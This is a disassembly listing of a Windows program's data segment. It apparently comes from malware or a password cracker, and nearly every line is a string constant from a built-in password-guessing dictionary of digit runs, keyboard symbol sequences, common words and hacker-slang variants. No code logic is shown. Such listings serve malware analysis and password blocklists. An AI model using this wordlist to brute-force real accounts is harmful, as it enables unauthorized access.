unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: seg002:00424F38o
align 4
a333333333 db '333333333',0 ; DATA XREF: seg002:00424F34o
align 4
a33333333 db '33333333',0 ; DATA XREF: seg002:00424F30o
align 10h
a3333333 db '3333333',0 ; DATA XREF: seg002:00424F2Co
a333333 db '333333',0 ; DATA XREF: seg002:00424F28o
align 10h
a33333 db '33333',0 ; DATA XREF: seg002:00424F24o
align 4
a3333 db '3333',0 ; DATA XREF: seg002:00424F20o
align 10h
a333 db '333',0 ; DATA XREF: seg002:00424F1Co
a33 db '33',0 ; DATA XREF: seg002:00424F18o
align 4
a3: ; DATA XREF: seg002:00424F14o
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: seg002:00424F10o
align 4
a222222222 db '222222222',0 ; DATA XREF: seg002:00424F0Co
align 4
a22222222 db '22222222',0 ; DATA XREF: seg002:00424F08o
align 10h
a2222222 db '2222222',0 ; DATA XREF: seg002:00424F04o
a222222 db '222222',0 ; DATA XREF: seg002:00424F00o
align 10h
a22222 db '22222',0 ; DATA XREF: seg002:00424EFCo
align 4
a2222 db '2222',0 ; DATA XREF: seg002:00424EF8o
align 10h
a222 db '222',0 ; DATA XREF: seg002:00424EF4o
a22 db '22',0 ; DATA XREF: seg002:00424EF0o
align 4
a2: ; DATA XREF: seg002:00424EECo
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: seg002:00424EE8o
align 4
a111111111 db '111111111',0 ; DATA XREF: seg002:00424EE4o
align 4
a1111111 db '1111111',0 ; DATA XREF: seg002:00424EDCo
a11111 db '11111',0 ; DATA XREF: seg002:00424ED4o
align 4
a1111 db '1111',0 ; DATA XREF: seg002:00424ED0o
align 4
a11 db '11',0 ; DATA XREF: seg002:00424EC8o
align 10h
a010 db '010',0 ; DATA XREF: seg002:00424EB8o
a009 db '009',0 ; DATA XREF: seg002:00424EB4o
a008 db '008',0 ; DATA XREF: seg002:00424EB0o
a006 db '006',0 ; DATA XREF: seg002:00424EA8o
a005 db '005',0 ; DATA XREF: seg000:004095A5o
; seg002:00424EA4o
a004 db '004',0 ; DATA XREF: seg002:00424EA0o
a003 db '003',0 ; DATA XREF: seg002:00424E9Co
a002 db '002',0 ; DATA XREF: seg002:00424E98o
a001 db '001',0 ; DATA XREF: seg000:00409590o
; seg002:00424E94o
asc_426144 db '*********',0 ; DATA XREF: seg002:00424E90o
align 10h
asc_426150 db '********',0 ; DATA XREF: seg002:00424E8Co
align 4
asc_42615C db '*******',0 ; DATA XREF: seg002:00424E88o
asc_426164 db '******',0 ; DATA XREF: seg002:00424E84o
align 4
asc_42616C db '*****',0 ; DATA XREF: seg002:00424E80o
align 4
asc_426174 db '****',0 ; DATA XREF: seg002:00424E7Co
align 4
asc_42617C db '***',0 ; DATA XREF: seg002:00424E78o
asc_426180 db '**',0 ; DATA XREF: seg002:00424E74o
align 4
a0000000000 db '0000000000',0 ; DATA XREF: seg002:00424E6Co
align 10h
a000000000 db '000000000',0 ; DATA XREF: seg002:00424E68o
align 4
a@ db '@!',0 ; DATA XREF: seg002:00424E48o
align 10h
a@_0 db '#@!',0 ; DATA XREF: seg002:00424E44o
a@_1 db '$#@!',0 ; DATA XREF: seg002:00424E40o
align 4
a@_2 db '%$#@!',0 ; DATA XREF: seg002:00424E3Co
align 4
a@_3 db '^%$#@!',0 ; DATA XREF: seg002:00424E38o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: seg002:00424E34o
a@_5 db '*&^%$#@!',0 ; DATA XREF: seg002:00424E30o
align 10h
asc_4261D0 db '$$$',0 ; DATA XREF: seg002:00424E2Co
asc_4261D4 db '$$',0 ; DATA XREF: seg002:00424E28o
align 4
asc_4261D8: ; DATA XREF: seg002:00424E24o
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: seg002:00424E20o
align 4
a789_0 db '789+',0 ; DATA XREF: seg002:00424E1Co
align 4
a0 db '=-0',0 ; DATA XREF: seg002:00424E18o
asc_4261F0 db '--++',0 ; DATA XREF: seg002:00424E14o
align 4
asc_4261F8 db '-+',0 ; DATA XREF: seg002:00424E10o
align 4
asc_4261FC db '----',0 ; DATA XREF: seg002:00424E0Co
align 4
asc_426204 db '--',0 ; DATA XREF: seg002:00424E04o
; seg002:00424E08o
align 4
asc_426208: ; DATA XREF: seg002:00424E00o
unicode 0, <->,0
asc_42620C db '++++',0 ; DATA XREF: seg002:00424DFCo
align 4
asc_426214 db '+++',0 ; DATA XREF: seg002:00424DF8o
asc_426218 db '++',0 ; DATA XREF: seg002:00424DF4o
align 4
asc_42621C: ; DATA XREF: seg002:00424DF0o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: seg002:00424DECo
align 4
a@_6: ; DATA XREF: seg000:004095CAo
; seg002:00424DE8o
unicode 0, <@>,0
off_426228 dd offset loc_402120+1 ; DATA XREF: seg002:00424DE4o
dword_42622C dd 2121h dword_426230 dd 24234021h, 2A265E25h, 0dword_42623C dd 24234021h, 265E25hdword_426244 dd 24234021h, 5E25hdword_42624C dd 24234021h, 25hdword_426254 dd 234021h dword_426258 dd 4021h dword_42625C dd 21h ; seg000:0040E16Eo ...
dword_426260 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: seg002:00424DB8o
align 10h
aZap db 'zap',0 ; DATA XREF: seg002:00424DB4o
aYellowstone db 'yellowstone',0 ; DATA XREF: seg002:00424DB0o
aXyz db 'xyz',0 ; DATA XREF: seg002:00424DACo
; seg002:004252A4o
aWisconsin db 'wisconsin',0 ; DATA XREF: seg002:00424DA8o
align 10h
aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg002:00424DA4o
align 10h
aWholesale db 'wholesale',0 ; DATA XREF: seg002:00424DA0o
align 4
aTty db 'tty',0 ; DATA XREF: seg002:00424D9Co
aTopography db 'topography',0 ; DATA XREF: seg002:00424D98o
align 4
aTemptation db 'temptation',0 ; DATA XREF: seg002:00424D94o
align 4
aTelephone db 'telephone',0 ; DATA XREF: seg002:00424D90o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: seg002:00424D8Co
align 10h
aSys db 'sys',0 ; DATA XREF: seg002:00424D88o
aSupported db 'supported',0 ; DATA XREF: seg002:00424D84o
align 10h
aSuperuser db 'superuser',0 ; DATA XREF: seg002:00424D80o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: seg002:00424D7Co
align 4
aSun db 'sun',0 ; DATA XREF: seg002:00424D78o
aStuttgart db 'stuttgart',0 ; DATA XREF: seg002:00424D74o
align 4
aStratford db 'stratford',0 ; DATA XREF: seg002:00424D70o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: seg002:00424D6Co
align 10h
aSignature db 'signature',0 ; DATA XREF: seg002:00424D68o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: seg002:00424D64o
align 4
aSal db 'sal',0 ; DATA XREF: seg002:00424D60o
aRochester db 'rochester',0 ; DATA XREF: seg002:00424D5Co
align 4
aRje db 'rje',0 ; DATA XREF: seg002:00424D58o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg002:00424D54o
align 4
aPub db 'pub',0 ; DATA XREF: seg002:00424D50o
aProfessor db 'professor',0 ; DATA XREF: seg002:00424D4Co
align 4
aPrinceton db 'princeton',0 ; DATA XREF: seg002:00424D48o
align 4
aPondering db 'pondering',0 ; DATA XREF: seg002:00424D44o
align 4
aPolynomial db 'polynomial',0 ; DATA XREF: seg002:00424D40o
align 10h
aPersimmon db 'persimmon',0 ; DATA XREF: seg002:00424D3Co
align 4
aPercolate db 'percolate',0 ; DATA XREF: seg002:00424D38o
align 4
aPam db 'pam',0 ; DATA XREF: seg002:00424D34o
aPad db 'pad',0 ; DATA XREF: seg002:00424D30o
aOceanography db 'oceanography',0 ; DATA XREF: seg002:00424D2Co
align 10h
aNutrition db 'nutrition',0 ; DATA XREF: seg002:00424D28o
align 4
aNew db 'new',0 ; DATA XREF: seg002:00424D24o
aNet db 'net',0 ; DATA XREF: seg002:00424D20o
aMit db 'mit',0 ; DATA XREF: seg002:00424D1Co
aMgr db 'mgr',0 ; DATA XREF: seg002:00424D18o
aMacintosh db 'macintosh',0 ; DATA XREF: seg002:00424D14o
align 4
aLiz db 'liz',0 ; DATA XREF: seg002:00424D10o
aLee db 'lee',0 ; DATA XREF: seg002:00424D0Co
aLamination db 'lamination',0 ; DATA XREF: seg002:00424D08o
align 4
aKim db 'kim',0 ; DATA XREF: seg002:00424D04o
aKey db 'key',0 ; DATA XREF: seg002:00424D00o
aJoy db 'joy',0 ; DATA XREF: seg002:00424CFCo
aJen db 'jen',0 ; DATA XREF: seg002:00424CF8o
aInnocuous db 'innocuous',0 ; DATA XREF: seg002:00424CF4o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: seg002:00424CF0o
align 4
aIbm db 'ibm',0 ; DATA XREF: seg002:00424CECo
aHappening db 'happening',0 ; DATA XREF: seg002:00424CE8o
align 4
aHal db 'hal',0 ; DATA XREF: seg002:00424CE4o
aGnu db 'gnu',0 ; DATA XREF: seg002:00424CE0o
aFun db 'fun',0 ; DATA XREF: seg002:00424CDCo
aForesight db 'foresight',0 ; DATA XREF: seg002:00424CD8o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: seg002:00424CD4o
align 4
aExtension db 'extension',0 ; DATA XREF: seg002:00424CD0o
align 4
aEstablish db 'establish',0 ; DATA XREF: seg002:00424CCCo
align 10h
aEnterprise db 'enterprise',0 ; DATA XREF: seg002:00424CC8o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: seg002:00424CC4o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: seg002:00424CC0o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: seg002:00424CBCo
align 10h
aDos db 'dos',0 ; DATA XREF: seg002:00424CB8o
aDog db 'dog',0 ; DATA XREF: seg002:00424CB4o
aDiscovery db 'discovery',0 ; DATA XREF: seg002:00424CB0o
align 4
aDesperate db 'desperate',0 ; DATA XREF: seg002:00424CACo
align 10h
aDeb db 'deb',0 ; DATA XREF: seg002:00424CA8o
aCornelius db 'cornelius',0 ; DATA XREF: seg002:00424CA4o
align 10h
aCommrades db 'commrades',0 ; DATA XREF: seg002:00424CA0o
align 4
aChristine db 'christine',0 ; DATA XREF: seg002:00424C9Co
align 4
aChristina db 'christina',0 ; DATA XREF: seg002:00424C98o
align 4
aChemistry db 'chemistry',0 ; DATA XREF: seg002:00424C94o
align 10h
aCatherine db 'catherine',0 ; DATA XREF: seg002:00424C90o
align 4
aCat db 'cat',0 ; DATA XREF: seg002:00424C8Co
aCampanile db 'campanile',0 ; DATA XREF: seg002:00424C88o
align 4
aCad db 'cad',0 ; DATA XREF: seg002:00424C84o
aBsd db 'bsd',0 ; DATA XREF: seg002:00424C80o
aBob db 'bob',0 ; DATA XREF: seg002:00424C7Co
aBicameral db 'bicameral',0 ; DATA XREF: seg002:00424C78o
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: seg002:00424C74o
align 10h
aAtmosphere db 'atmosphere',0 ; DATA XREF: seg002:00424C70o
align 4
aAsm db 'asm',0 ; DATA XREF: seg002:00424C6Co
aAsd db 'asd',0 ; DATA XREF: seg002:00424C68o
; seg002:004252D4o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg002:00424C64o
align 4
aAnn db 'ann',0 ; DATA XREF: seg002:00424C60o
aAndromache db 'andromache',0 ; DATA XREF: seg002:00424C5Co
align 4
aAmy db 'amy',0 ; DATA XREF: seg002:00424C58o
aAmorphous db 'amorphous',0 ; DATA XREF: seg002:00424C54o
align 4
aAma db 'ama',0 ; DATA XREF: seg002:00424C50o
aAlf db 'alf',0 ; DATA XREF: seg002:00424C4Co
aAlbatross db 'albatross',0 ; DATA XREF: seg002:00424C48o
align 4
aAda db 'ada',0 ; DATA XREF: seg002:00424C44o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg002:00424C40o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg002:00424C3Co
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg002:00424C38o
align 4
aHaxing db 'haxing',0 ; DATA XREF: seg002:00424C34o
align 4
aHax db 'hax',0 ; DATA XREF: seg002:00424C30o
aWh0re db 'wh0re',0 ; DATA XREF: seg002:00424C2Co
align 10h
aHo db 'ho',0 ; DATA XREF: seg002:00424C28o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: seg002:00424C24o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: seg002:00424C20o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: seg002:00424C1Co
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: seg002:00424C18o
align 10h
aWindoze2k db 'windoze2k',0 ; DATA XREF: seg002:00424C14o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: seg002:00424C10o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: seg002:00424C0Co
align 4
aWindows98 db 'windows98',0 ; DATA XREF: seg002:00424C08o
align 10h
aWindowsme db 'windowsME',0 ; DATA XREF: seg002:00424C04o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: seg002:00424C00o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg002:00424BFCo
align 4
aMs db 'MS',0 ; DATA XREF: seg002:00424BF8o
align 4
aM_0 db 'M$',0 ; DATA XREF: seg002:00424BF4o
align 4
aBilly db 'billy',0 ; DATA XREF: seg002:00424BF0o
align 4
aWindose db 'windose',0 ; DATA XREF: seg002:00424BECo
aWindoze db 'windoze',0 ; DATA XREF: seg002:00424BE8o
aWindowz db 'windowz',0 ; DATA XREF: seg002:00424BE4o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg002:00424BE0o
aDonaldduck db 'donaldduck',0 ; DATA XREF: seg002:00424BDCo
align 4
aAlexander db 'Alexander',0 ; DATA XREF: seg002:00424BD8o
align 10h
aAl3x db 'Al3x',0 ; DATA XREF: seg002:00424BD4o
align 4
aDud3 db 'dud3',0 ; DATA XREF: seg002:00424BD0o
align 10h
aDudette db 'dudette',0 ; DATA XREF: seg002:00424BCCo
aD00d db 'd00d',0 ; DATA XREF: seg002:00424BC8o
align 10h
aLol db 'lol',0 ; DATA XREF: seg002:00424BC4o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg002:00424BC0o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: seg002:00424BBCo
align 4
aRosco db 'Rosco',0 ; DATA XREF: seg002:00424BB8o
align 4
aRoss db 'Ross',0 ; DATA XREF: seg002:00424BB4o
align 4
aTestin db 'testin',0 ; DATA XREF: seg002:00424BB0o
align 4
aTester db 'tester',0 ; DATA XREF: seg002:00424BACo
align 4
a00000000 db '00000000',0 ; DATA XREF: seg002:00424BA8o
; seg002:00424E64o
align 4
aZulu db 'zulu',0 ; DATA XREF: seg002:00424BA4o
align 10h
aZombie db 'zombie',0 ; DATA XREF: seg002:00424BA0o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: seg002:00424B9Co
align 10h
aZimmerma db 'zimmerma',0 ; DATA XREF: seg002:00424B98o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: seg002:00424B94o
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg002:00424B90o
align 10h
aZebra db 'zebra',0 ; DATA XREF: seg002:00424B8Co
align 4
aYoung db 'young',0 ; DATA XREF: seg002:00424B88o
align 10h
aYosemite db 'yosemite',0 ; DATA XREF: seg002:00424B84o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: seg002:00424B80o
aYellowst db 'yellowst',0 ; DATA XREF: seg002:00424B7Co
align 10h
aYellow db 'yellow',0 ; DATA XREF: seg002:00424B78o
align 4
aYankee db 'yankee',0 ; DATA XREF: seg002:00424B74o
align 10h
aYang db 'yang',0 ; DATA XREF: seg002:00424B70o
; seg002:004252ACo
align 4
aYaco db 'yaco',0 ; DATA XREF: seg002:00424B6Co
; seg002:004252A8o
align 10h
aXyzzy db 'xyzzy',0 ; DATA XREF: seg002:00424B68o
align 4
aXray db 'xray',0 ; DATA XREF: seg002:00424B64o
align 10h
aXmodem db 'xmodem',0 ; DATA XREF: seg002:00424B60o
align 4
aXmen db 'xmen',0 ; DATA XREF: seg002:00424B5Co
align 10h
aXman db 'xman',0 ; DATA XREF: seg002:00424B58o
align 4
aXfer db 'xfer',0 ; DATA XREF: seg002:00424B54o
align 10h
aXena db 'xena',0 ; DATA XREF: seg002:00424B50o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: seg002:00424B4Co
aWwii db 'wwii',0 ; DATA XREF: seg002:00424B48o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: seg002:00424B44o
align 4
aWorm db 'worm',0 ; DATA XREF: seg002:00424B40o
align 4
aWork db 'work',0 ; DATA XREF: seg002:00424B3Co
align 4
aWorf db 'worf',0 ; DATA XREF: seg002:00424B38o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: seg002:00424B34o
align 4
aWord db 'word',0 ; DATA XREF: seg002:00424B30o
align 10h
aWoodwind db 'woodwind',0 ; DATA XREF: seg002:00424B2Co
align 4
aWood db 'wood',0 ; DATA XREF: seg002:00424B28o
align 4
aWomen db 'women',0 ; DATA XREF: seg002:00424B24o
align 4
aWombat db 'wombat',0 ; DATA XREF: seg002:00424B20o
align 4
aWoman db 'woman',0 ; DATA XREF: seg002:00424B1Co
align 4
aWolverin db 'wolverin',0 ; DATA XREF: seg002:00424B18o
align 4
aWolf db 'wolf',0 ; DATA XREF: seg002:00424B14o
align 10h
aWizard db 'wizard',0 ; DATA XREF: seg002:00424B10o
align 4
aWithin db 'within',0 ; DATA XREF: seg002:00424B0Co
align 10h
aWiseass db 'wiseass',0 ; DATA XREF: seg002:00424B08o
aWisconsi db 'wisconsi',0 ; DATA XREF: seg002:00424B04o
align 4
aWired db 'wired',0 ; DATA XREF: seg002:00424B00o
align 4
aWinston db 'winston',0 ; DATA XREF: seg002:00424AFCo
aWing db 'wing',0 ; DATA XREF: seg002:00424AF8o
align 4
aWine db 'wine',0 ; DATA XREF: seg002:00424AF4o
align 4
aWindows db 'windows',0 ; DATA XREF: seg002:00424AF0o
aWilma db 'wilma',0 ; DATA XREF: seg002:00424AECo
align 4
aWillie db 'willie',0 ; DATA XREF: seg002:00424AE8o
align 4
aWilliams db 'williams',0 ; DATA XREF: seg002:00424AE4o
align 4
aWilliam db 'william',0 ; DATA XREF: seg002:00424AE0o
aWill db 'will',0 ; DATA XREF: seg002:00424ADCo
align 4
aWhore db 'whore',0 ; DATA XREF: seg002:00424AD8o
align 10h
aWholesal db 'wholesal',0 ; DATA XREF: seg002:00424AD4o
align 4
aWhitney db 'whitney',0 ; DATA XREF: seg002:00424AD0o
aWhiting db 'whiting',0 ; DATA XREF: seg002:00424ACCo
aWhite db 'white',0 ; DATA XREF: seg002:00424AC8o
align 4
aWhisky db 'whisky',0 ; DATA XREF: seg002:00424AC4o
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: seg002:00424AC0o
aWhatever db 'whatever',0 ; DATA XREF: seg002:00424ABCo
align 10h
aWestern db 'western',0 ; DATA XREF: seg002:00424AB8o
aWest db 'west',0 ; DATA XREF: seg002:00424AB4o
align 10h
aWerewolf db 'werewolf',0 ; DATA XREF: seg002:00424AB0o
align 4
aWendy db 'wendy',0 ; DATA XREF: seg002:00424AACo
align 4
aWendi db 'wendi',0 ; DATA XREF: seg002:00424AA8o
align 4
aWell db 'well',0 ; DATA XREF: seg002:00424AA4o
align 4
aWeenie db 'weenie',0 ; DATA XREF: seg002:00424AA0o
align 4
aWeed db 'weed',0 ; DATA XREF: seg002:00424A9Co
align 4
aWednesda db 'wednesda',0 ; DATA XREF: seg002:00424A98o
align 10h
aWebpage db 'webpage',0 ; DATA XREF: seg002:00424A94o
aWave db 'wave',0 ; DATA XREF: seg002:00424A90o
align 10h
aWater db 'water',0 ; DATA XREF: seg002:00424A8Co
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: seg002:00424A88o
align 4
aWasp db 'wasp',0 ; DATA XREF: seg002:00424A84o
align 4
aWarren db 'warren',0 ; DATA XREF: seg002:00424A80o
align 4
aWarp db 'warp',0 ; DATA XREF: seg002:00424A7Co
align 4
aWargames db 'wargames',0 ; DATA XREF: seg002:00424A78o
align 4
aWarfare db 'warfare',0 ; DATA XREF: seg002:00424A74o
aWarez db 'warez',0 ; DATA XREF: seg002:00424A70o
align 4
aWard db 'ward',0 ; DATA XREF: seg002:00424A6Co
align 10h
aWaco db 'waco',0 ; DATA XREF: seg002:00424A68o
align 4
aVodka db 'vodka',0 ; DATA XREF: seg002:00424A64o
align 10h
aVisualba db 'visualba',0 ; DATA XREF: seg002:00424A60o
align 4
aVisual db 'visual',0 ; DATA XREF: seg002:00424A5Co
align 4
aVisitor db 'visitor',0 ; DATA XREF: seg002:00424A58o
aVirus db 'virus',0 ; DATA XREF: seg002:00424A54o
align 4
aVirginia db 'virginia',0 ; DATA XREF: seg002:00424A50o
align 10h
aVirgin db 'virgin',0 ; DATA XREF: seg002:00424A4Co
align 4
aVillage db 'village',0 ; DATA XREF: seg002:00424A48o
aVideogam db 'videogam',0 ; DATA XREF: seg002:00424A44o
align 4
aVideo db 'video',0 ; DATA XREF: seg002:00424A40o
align 4
aVictor db 'victor',0 ; DATA XREF: seg002:00424A3Co
align 4
aVicky db 'vicky',0 ; DATA XREF: seg002:00424A38o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: seg002:00424A34o
aVeronica db 'veronica',0 ; DATA XREF: seg002:00424A30o
align 4
aVenus db 'venus',0 ; DATA XREF: seg002:00424A2Co
align 10h
aVasant db 'vasant',0 ; DATA XREF: seg002:00424A28o
align 4
aVampire db 'vampire',0 ; DATA XREF: seg002:00424A24o
aValerie db 'valerie',0 ; DATA XREF: seg002:00424A20o
aVagina db 'vagina',0 ; DATA XREF: seg002:00424A1Co
align 10h
aUucp db 'uucp',0 ; DATA XREF: seg002:00424A18o
align 4
aUtility db 'utility',0 ; DATA XREF: seg002:00424A14o
aUtil db 'util',0 ; DATA XREF: seg002:00424A10o
align 4
aUsmc db 'usmc',0 ; DATA XREF: seg002:00424A0Co
align 10h
aUsername db 'username',0 ; DATA XREF: seg002:00424A08o
align 4
aUsermane db 'usermane',0 ; DATA XREF: seg002:00424A04o
align 4
aUsenet db 'usenet',0 ; DATA XREF: seg002:00424A00o
align 10h
aUrsula db 'ursula',0 ; DATA XREF: seg002:004249FCo
align 4
aUrchin db 'urchin',0 ; DATA XREF: seg002:004249F8o
align 10h
aUranus db 'uranus',0 ; DATA XREF: seg002:004249F4o
align 4
aUpload db 'upload',0 ; DATA XREF: seg002:004249F0o
align 10h
aUnlock db 'unlock',0 ; DATA XREF: seg002:004249ECo
align 4
aUnknown_0 db 'unknown',0 ; DATA XREF: seg002:004249E8o
aUniversi db 'universi',0 ; DATA XREF: seg002:004249E4o
align 4
aUniverse db 'universe',0 ; DATA XREF: seg002:004249E0o
align 4
aUniversa db 'universa',0 ; DATA XREF: seg002:004249DCo
align 4
aUniform db 'uniform',0 ; DATA XREF: seg002:004249D8o
aUnicorn db 'unicorn',0 ; DATA XREF: seg002:004249D4o
aUnhappy db 'unhappy',0 ; DATA XREF: seg002:004249D0o
aUndo db 'undo',0 ; DATA XREF: seg002:004249CCo
align 4
aUncle db 'uncle',0 ; DATA XREF: seg002:004249C8o
align 4
aUmesh db 'umesh',0 ; DATA XREF: seg002:004249C4o
align 4
aUgly db 'ugly',0 ; DATA XREF: seg002:004249C0o
align 4
aTuttle db 'tuttle',0 ; DATA XREF: seg002:004249BCo
align 4
aTurn db 'turn',0 ; DATA XREF: seg002:004249B8o
align 4
aTuesday db 'tuesday',0 ; DATA XREF: seg002:004249B4o
aTubas db 'tubas',0 ; DATA XREF: seg002:004249B0o
align 4
aTruth db 'truth',0 ; DATA XREF: seg002:004249ACo
align 4
aTrue db 'true',0 ; DATA XREF: seg002:004249A8o
align 4
aTron db 'tron',0 ; DATA XREF: seg002:004249A4o
align 4
aTrombone db 'trombone',0 ; DATA XREF: seg002:004249A0o
align 10h
aTrojan db 'trojan',0 ; DATA XREF: seg002:0042499Co
align 4
aTrivial db 'trivial',0 ; DATA XREF: seg002:00424998o
aTrisha db 'trisha',0 ; DATA XREF: seg002:00424994o
align 4
aTrek db 'trek',0 ; DATA XREF: seg002:00424990o
align 10h
aTree db 'tree',0 ; DATA XREF: seg002:0042498Co
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: seg002:00424988o
align 4
aTrap db 'trap',0 ; DATA XREF: seg002:00424984o
align 4
aTransfer db 'transfer',0 ; DATA XREF: seg002:00424980o
align 4
aTrails db 'trails',0 ; DATA XREF: seg002:0042497Co
align 10h
aTracy db 'tracy',0 ; DATA XREF: seg002:00424978o
align 4
aTracie db 'tracie',0 ; DATA XREF: seg002:00424974o
align 10h
aTraci db 'traci',0 ; DATA XREF: seg002:00424970o
align 4
aToyota db 'toyota',0 ; DATA XREF: seg002:0042496Co
; seg002:0042527Co
align 10h
aToxic db 'toxic',0 ; DATA XREF: seg002:00424968o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: seg002:00424964o
align 4
aTopograp db 'topograp',0 ; DATA XREF: seg002:00424960o
align 10h
aTomato db 'tomato',0 ; DATA XREF: seg002:0042495Co
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: seg002:00424958o
align 4
aToken db 'token',0 ; DATA XREF: seg002:00424954o
align 4
aToggle db 'toggle',0 ; DATA XREF: seg002:00424950o
align 4
aToad db 'toad',0 ; DATA XREF: seg002:0042494Co
align 4
aTits db 'tits',0 ; DATA XREF: seg002:00424948o
align 4
aTina db 'tina',0 ; DATA XREF: seg002:00424944o
align 4
aTime db 'time',0 ; DATA XREF: seg002:00424940o
align 4
aTiger db 'tiger',0 ; DATA XREF: seg002:0042493Co
; seg002:00425270o
align 4
aTiffany db 'tiffany',0 ; DATA XREF: seg002:00424938o
aThursday db 'thursday',0 ; DATA XREF: seg002:00424934o
align 10h
aThin db 'thin',0 ; DATA XREF: seg002:00424930o
align 4
aTheresa db 'theresa',0 ; DATA XREF: seg002:0042492Co
aThailand db 'thailand',0 ; DATA XREF: seg002:00424928o
align 4
aText db 'text',0 ; DATA XREF: seg002:00424924o
align 4
aTetris db 'tetris',0 ; DATA XREF: seg002:00424920o
align 4
aTess db 'tess',0 ; DATA XREF: seg002:0042491Co
align 4
aTerminat db 'terminat',0 ; DATA XREF: seg002:00424918o
align 10h
aTerminal db 'terminal',0 ; DATA XREF: seg002:00424914o
align 4
aTera db 'tera',0 ; DATA XREF: seg002:00424910o
align 4
aTennis db 'tennis',0 ; DATA XREF: seg002:0042490Co
align 4
aTemptati db 'temptati',0 ; DATA XREF: seg002:00424908o
align 4
aTelnet db 'telnet',0 ; DATA XREF: seg002:00424904o
align 10h
aTelephon db 'telephon',0 ; DATA XREF: seg002:00424900o
align 4
aTeenage db 'teenage',0 ; DATA XREF: seg002:004248FCo
aTeen db 'teen',0 ; DATA XREF: seg002:004248F8o
align 4
aTech db 'tech',0 ; DATA XREF: seg002:004248F4o
align 4
aTears db 'tears',0 ; DATA XREF: seg002:004248F0o
align 4
aTeapot db 'teapot',0 ; DATA XREF: seg002:004248ECo
align 4
aTeam db 'team',0 ; DATA XREF: seg002:004248E8o
align 4
aTaylor db 'taylor',0 ; DATA XREF: seg002:004248E0o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: seg002:004248DCo
align 10h
aTarget db 'target',0 ; DATA XREF: seg002:004248D8o
align 4
aTara db 'tara',0 ; DATA XREF: seg002:004248D4o
align 10h
aTape db 'tape',0 ; DATA XREF: seg002:004248D0o
align 4
aTango db 'tango',0 ; DATA XREF: seg002:004248CCo
align 10h
aTangerin db 'tangerin',0 ; DATA XREF: seg002:004248C8o
align 4
aTammy db 'tammy',0 ; DATA XREF: seg002:004248C4o
align 4
aTamie db 'tamie',0 ; DATA XREF: seg002:004248C0o
align 4
aTami db 'tami',0 ; DATA XREF: seg002:004248BCo
align 4
aTamara db 'tamara',0 ; DATA XREF: seg002:004248B8o
align 4
aTall db 'tall',0 ; DATA XREF: seg002:004248B4o
align 4
aTalk db 'talk',0 ; DATA XREF: seg002:004248B0o
align 4
aTabasco db 'tabasco',0 ; DATA XREF: seg002:004248ACo
aSysop db 'sysop',0 ; DATA XREF: seg002:004248A8o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: seg002:004248A4o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: seg002:004248A0o
align 4
aSybil db 'sybil',0 ; DATA XREF: seg002:0042489Co
align 4
aSword db 'sword',0 ; DATA XREF: seg002:00424898o
align 4
aSwitch db 'switch',0 ; DATA XREF: seg002:00424894o
align 4
aSweat db 'sweat',0 ; DATA XREF: seg002:00424890o
align 4
aSwearer db 'swearer',0 ; DATA XREF: seg002:0042488Co
aSuzie db 'suzie',0 ; DATA XREF: seg002:00424888o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: seg002:00424884o
aSusie db 'susie',0 ; DATA XREF: seg002:00424880o
align 4
aSusanne db 'susanne',0 ; DATA XREF: seg002:0042487Co
aSusan db 'susan',0 ; DATA XREF: seg002:00424878o
align 4
aSurfing db 'surfing',0 ; DATA XREF: seg002:00424874o
aSurfer db 'surfer',0 ; DATA XREF: seg002:00424870o
align 4
aSupporte db 'supporte',0 ; DATA XREF: seg002:0042486Co
align 10h
aSupport db 'support',0 ; DATA XREF: seg002:00424868o
aSupervis db 'supervis',0 ; DATA XREF: seg002:00424864o
align 4
aSuperuse db 'superuse',0 ; DATA XREF: seg002:00424860o
align 10h
